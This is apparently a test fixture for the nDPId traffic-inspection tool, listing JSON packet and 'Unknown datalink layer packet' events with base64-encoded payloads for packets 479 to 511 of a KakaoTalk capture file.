+00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":479,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":127570,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/9Z6AbE8WizsT2guGVRmZDS+LxrkDsBT35q3d90uimW9RVMIf1ysMfxLb6f8Uu4TrRXDUcWT0hwNz"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":479,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":480,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":135535,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/Jf+AbE8XizsXmguGVRlojBCg98V9uX0x6HIFB4oaAb5MYPr2FpTqWfec8rfxGYVOeoNhjJS35BBB"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":480,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00528{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":481,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":139105,"pkt_caplen":168,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":168,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJgAAEAAQBHaCgoYUrwByQGuKBxaBgCE5cGAbDGefqp9A1SapdouOhggEa5GqbkzekQa8U14kERc8TemiBywvu\/Co62L7relFJ+dmTes1pyD9tlc5Nt6WcpWAh8a51V2sR5Yzb13p6SorPUJjfpp3fW0Yz6ZwQi5BbPqNaP3npXAO2Dcy3eIT0JoqG8tnMmxjtVHewWL"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":481,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00526{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":482,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":180426,"pkt_caplen":165,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":165,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJUAAEAAQBHaDQoYUrwByQGuKBxaBgCBU4GAbDGffqqAw1SapdpWo0jOzOyVlhyzGki0xYFQhenz\/HkO1QyHkKAvSXCAPcWuaBwBsAfRbdLGSNlqnmyfUmAnbUN3sNLU8BMJw8gdcEtNabS8AtZv06sXaAK+VG\/QCwSn371kSouYdnyg\/ylykFKE5H24B1vIZ1B+"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":482,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00532{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":483,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":187415,"pkt_caplen":166,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":166,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJYAAEAAHRH85AHJAa4KGFK8WgQsOACCM\/qAbDGdfqp5Q1SapdpsIilFssbm0nktySk7p0D38lUyyXxi\/R2jQ7g\/0q+Kexsh5HvMPKk+LxxQUC23du15ihu0qLZzu3ZcKMcGIqeBhAWgA54W2t3VqMz+\/riuMaMbMQ6HuhIYRVKnYQHchb8ICibV1ATU\/ymPaK0qGQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":483,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":484,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":207099,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/c+OAbE8ZizsfGguGVRmwfLVgDpxF9z1hbbWUeKyNd8562vSazV77T2pRJOmk1xG72d6T6LJofAyS"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":484,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":485,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":208838,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/TISAbE8aizsi2guGVRkHAP7YDnxb5lutKP+Uab4gzgWIeaykCd+2\/722pNzrPcj1AecdiJCC2vpB"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":485,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00510{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":486,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":217688,"pkt_caplen":153,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":153,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIkAAEAAQBHaGQoYUrwByQGuKBxaBgB16OiAbDGgfqqEg1Sapdp1eOG\/J2kVP1961xAESkPq8g8Awzx3pftsUNb9\/nbUt4IS6\/my6bWPMeKqUi4tvKbYOhl0Gs0nziFxk6JW+hzP8d7YJIBaiiwHrg7bykWz6usGX0Fe7qseOd7SNIIitRWK"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":486,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":487,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":228888,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/CayAbE8YizsbWguGVRl6D7Wdaeo\/x9uJf3Kyl3xHqNQ9eouC7iCBvJVRbRdCrwUGS\/uP3N4eTZ6m"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":487,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00528{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":488,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":280005,"pkt_caplen":168,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":168,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJgAAEAAHRH84gHJAa4KGFK8WgQsOACE4aeAbDGefqp9A1SapdouOhggEa5GqbkzekQa8U14kERc8TemiBywvu\/Co62L7relFJ+dmTes1pyD9tlc5Nt6WcpWAh8a51V2sR5Yzb13p6SorPUJjfpp3fW0Yz6ZwQi5BbPqNaP3npXAO2Dcy3eIT0JoqG8tnMmxjtVHewWL"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":488,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":489,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":309607,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/dVGAbE8bizsmmguGVRkGzHJ0TfRJIJizmRFBfu8BBbZXpAph70isTnITGYjp59po4+M8K2oa6ZaI"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":489,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":490,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":309821,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/ZXCAbE8cizsqWguGVRkGiCzRNEZs7w8FQPw6tA\/ZgVoc9dlsvQ6DcTKPXQClrrPJyDJuFNShH2+T"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":490,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00526{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":491,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":309973,"pkt_caplen":165,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":165,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJUAAEAAHRH85QHJAa4KGFK8WgQsOACBT2eAbDGffqqAw1SapdpWo0jOzOyVlhyzGki0xYFQhenz\/HkO1QyHkKAvSXCAPcWuaBwBsAfRbdLGSNlqnmyfUmAnbUN3sNLU8BMJw8gdcEtNabS8AtZv06sXaAK+VG\/QCwSn371kSouYdnyg\/ylykFKE5H24B1vIZ1B+"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":491,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00484{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":492,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":327246,"pkt_caplen":135,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":135,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHcAAEAAQBHaKwoYUrwByQGuKBxaBgBjaHeAbDGhfqqIQ1Sapdol3c5KCvBQhQK2J6A9Td4PYqkdCluhRLCVlacpIGQaacAFQbWW0mJp5acJ4Y+ELVUCbfBvE\/sHKGwX0amWKDWMAklsXwre9c1KcY5h9fjX"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":492,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":493,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":327735,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/d\/2AbE8ZizsfGguGVRmwfLVgDpxF9z1hbbWUeKyNd8562vSazV77T2pRJOmk1xG72d6T6LJofAyS"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":493,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":494,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":335944,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/UJ6AbE8aizsi2guGVRkHAP7YDnxb5lutKP+Uab4gzgWIeaykCd+2\/722pNzrPcj1AecdiJCC2vpB"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":494,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00510{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":495,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":343573,"pkt_caplen":153,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":153,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIkAAEAAHRH88QHJAa4KGFK8WgQsOAB15M6AbDGgfqqEg1Sapdp1eOG\/J2kVP1961xAESkPq8g8Awzx3pftsUNb9\/nbUt4IS6\/my6bWPMeKqUi4tvKbYOhl0Gs0nziFxk6JW+hzP8d7YJIBaiiwHrg7bykWz6usGX0Fe7qseOd7SNIIitRWK"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":495,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00489{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":496,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":370978,"pkt_caplen":138,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":138,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHoAAEAAQBHaKAoYUrwByQGuKBxaBgBml+WAbDGifqqMA1SapdpBGvKVkYC4diyYWO7Yzxz5w+1oVujCKuuKPHws1\/j8gx3VrPvKG+1VQTIjF1vt7JTZwnWFm9deMGUURn5ZRvwUw3VSoEcjkWT0i567\/GlkoV2R"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":496,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00523{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":497,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":414099,"pkt_caplen":165,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":165,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJUAAEAAPxHbDQoYUrwByQGuLDhaBACBnwSAbE8dizsuGguGVRku3m+wXEckTjCaHB130iAN8VqaMxsZeouZnH3jsY8wAaj2dUt8HC0DQoEbOz3azVgYmHDjNxJhAfVzWeWqnMW2raXoSkFwungU86NJ0kD6CAXKFZODRw3jEOVv6HJF2RFpDXIhZijsgzk1WTgR"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":497,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00488{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":498,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":421881,"pkt_caplen":137,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":137,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHkAAEAAQBHaKQoYUrwByQGuKBxaBgBl+KiAbDGjfqqPw1SapdrdcvqaiWE2AC5GXkQkS+Ek54F5RzTZDduFd06Dn359NWmv1a3MpSCqS1BvB+XI+u8GIuFYdFygnnskwfzI\/CYlJpllo42zl0vVk9wXg+fzPeE="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":498,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":499,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":435645,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/eWuAbE8bizsmmguGVRkGzHJ0TfRJIJizmRFBfu8BBbZXpAph70isTnITGYjp59po4+M8K2oa6ZaI"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":499,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":500,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":463568,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/aYqAbE8cizsqWguGVRkGiCzRNEZs7w8FQPw6tA\/ZgVoc9dlsvQ6DcTKPXQClrrPJyDJuFNShH2+T"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":500,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00491{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":501,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":464484,"pkt_caplen":139,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":139,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHsAAEAAQBHaJwoYUrwByQGuKBxaBgBnYCmAbDGkfqqTg1SapdrUriPaAoVhaq2ZQaTszzoYcuCB53zvE+NsCsUghlCzuyBXVK4jz3EKaZHxAJ6VMWG5hONPnVIm3vvhuYO4Q+xTKJZb8O+jZdz0iMNEJDujNoWzzA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":501,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00484{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":502,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":479560,"pkt_caplen":135,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":135,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHcAAEAAHRH9AwHJAa4KGFK8WgQsOABjZF2AbDGhfqqIQ1Sapdol3c5KCvBQhQK2J6A9Td4PYqkdCluhRLCVlacpIGQaacAFQbWW0mJp5acJ4Y+ELVUCbfBvE\/sHKGwX0amWKDWMAklsXwre9c1KcY5h9fjX"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":502,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00489{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":503,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":495856,"pkt_caplen":138,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":138,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHoAAEAAHRH9AAHJAa4KGFK8WgQsOABmk8uAbDGifqqMA1SapdpBGvKVkYC4diyYWO7Yzxz5w+1oVujCKuuKPHws1\/j8gx3VrPvKG+1VQTIjF1vt7JTZwnWFm9deMGUURn5ZRvwUw3VSoEcjkWT0i567\/GlkoV2R"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":503,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00542{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":504,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":508277,"pkt_caplen":175,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":175,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJ8AAEAAPxHbAwoYUrwByQGuLDhaBACLVZiAbE8eizsx2guGVRk\/z+eHrFV0OMlhSLYORh8iiKpas1lbC6xd+OQmD5UJ2gGU0y+IcTGkpLUH7miV\/28XqYQFa1eEv5Em9xGZvOqISoW4Gt4HEOhGfzZFyntiRAG3FiZv2cBOYz5L\/sSOKAW3LW93TU1r0nn9TbaPUTAmoE9ZKxADfw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":504,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00531{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":505,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":509314,"pkt_caplen":167,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":167,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJcAAEAAPxHbCwoYUrwByQGuLDhaBACDBOOAbE8fizs1mguGVRnnsQoYQiFoeHQ4A7O2XCnFYNwZ\/TFlw4daaF0rkfqPlwMmowRGk5Mc+Id5uM5CR7dKvnHI1irjcyZSFNDCA3QNItK6Zlgo\/8kTGcZ4lUeOR8QaBzQy4JuKpjMEI71GEOy+\/Mi2gOdOWmZHJ5HWU\/Y="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":505,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00486{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":506,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":545386,"pkt_caplen":134,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":134,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHYAAEAAQBHaLAoYUrwByQGuKBxaBgBiY+CAbDGlfqqXQ1SapdrukbD6G2BD\/o1\/jKslklnbjrsWZnaxHrPHA3VufGW9+ywZDgmtQyps4kpKVmkTb0+jEleF9Mz5ffwrO0UTX5rDrkNxIkIX2LmtI\/L77OY="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":506,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00523{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":507,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":548133,"pkt_caplen":165,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":165,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJUAAEAAHBH95QHJAa4KGFK8WgYoHACBox6AbE8dizsuGguGVRku3m+wXEckTjCaHB130iAN8VqaMxsZeouZnH3jsY8wAaj2dUt8HC0DQoEbOz3azVgYmHDjNxJhAfVzWeWqnMW2raXoSkFwungU86NJ0kD6CAXKFZODRw3jEOVv6HJF2RFpDXIhZijsgzk1WTgR"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":507,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00488{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":508,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":584143,"pkt_caplen":137,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":137,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHkAAEAAHRH9AQHJAa4KGFK8WgQsOABl9I6AbDGjfqqPw1SapdrdcvqaiWE2AC5GXkQkS+Ek54F5RzTZDduFd06Dn359NWmv1a3MpSCqS1BvB+XI+u8GIuFYdFygnnskwfzI\/CYlJpllo42zl0vVk9wXg+fzPeE="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":508,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00478{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":509,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":604682,"pkt_caplen":129,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHEAAEAAQBHaMQoYUrwByQGuKBxaBgBdUwyAbDGmfqqbA1SapdrDNj5lsbDh4Sd\/A2Zwfp0GZpsdI4qTYN+e8\/HdICQ7JDSB7ampH07G+9bfD+THCTBOrMp19ZC9M5wpP5dGvDJ05\/0uVePVPK+g"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":509,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00549{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":510,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":608374,"pkt_caplen":182,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":182,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKYAAEAAPxHa\/AoYUrwByQGuLDhaBACS28OAbE8gizs5WguGVRkBt0uUCat4nYPWPOaFYMs13jDRRkodJZgSJeoZZMrW1dBw5sxDJ\/+JBl1X74Bi3N7fU95ByjErZljP3DDFQtkvC8RELYx8ZRuCMazyijWmpmksjqaV0eKC0gbKS3IyVAMkbdILljMG3KJn5ei8qZfp5J0yys4UbagV2vNzkpM="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":510,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00549{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":511,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":609381,"pkt_caplen":182,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":182,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKYAAEAAPxHa\/AoYUrwByQGuLDhaBACS5mmAbE8hizs9GguGVRnkN3IUkLjvHWmz0E1aNAImsPfz8feyZfwmoSEAKx19HZrZsx8C4dz7x9vowdFwzuQ07u9cNB8o8KgPP36YfELcZ4EJ4HwIrj1nCYp2IOHChmXFuMe3TpkLGdS6faDDU6Ul49cB+qpACsU39j\/pK95CZp5iefEi2x+v7E59IOE="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":511,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 